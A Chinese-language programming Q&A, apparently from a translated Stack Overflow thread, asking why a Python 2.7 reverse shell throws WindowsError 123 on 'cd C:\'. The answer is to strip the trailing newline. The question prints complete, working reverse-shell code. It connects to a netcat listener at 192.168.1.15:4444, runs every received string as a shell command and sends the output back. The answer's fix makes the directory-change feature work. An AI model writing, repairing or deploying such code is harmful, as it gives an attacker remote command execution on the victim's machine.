WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect

WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect

我正在制作一个简单的 Python 2.7 reverse-shell ,用于目录更改功能,每次我在我的 netcat 服务器中键入 cd C:\ 它都会抛出此错误 "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\n'"这是我的代码。

    import socket
    import os
    import subprocess
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "192.168.1.15"
    port = 4444
    s.connect((host, port))
    s.send(os.getcwd() + '> ')
    def Shell():
        while True:
            data = s.recv(1024)
            if data[:2] == 'cd':
                os.chdir(data[3:])
            if len(data) > 0:
                proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                s.send(result)
                s.send(os.getcwd() + '> ')
                print(data)
    Shell()

当您使用data = s.recv(1024)从远程接收数据时,将接收到您按Enter结束当前输入时产生的\n字符同时。

所以你只需要.strip()它,或者使用[:-1]删除最后一个字符(即\n),当你获取数据时。

data = s.recv(1024).strip()

data = s.recv(1024)[:-1]

可能都可以。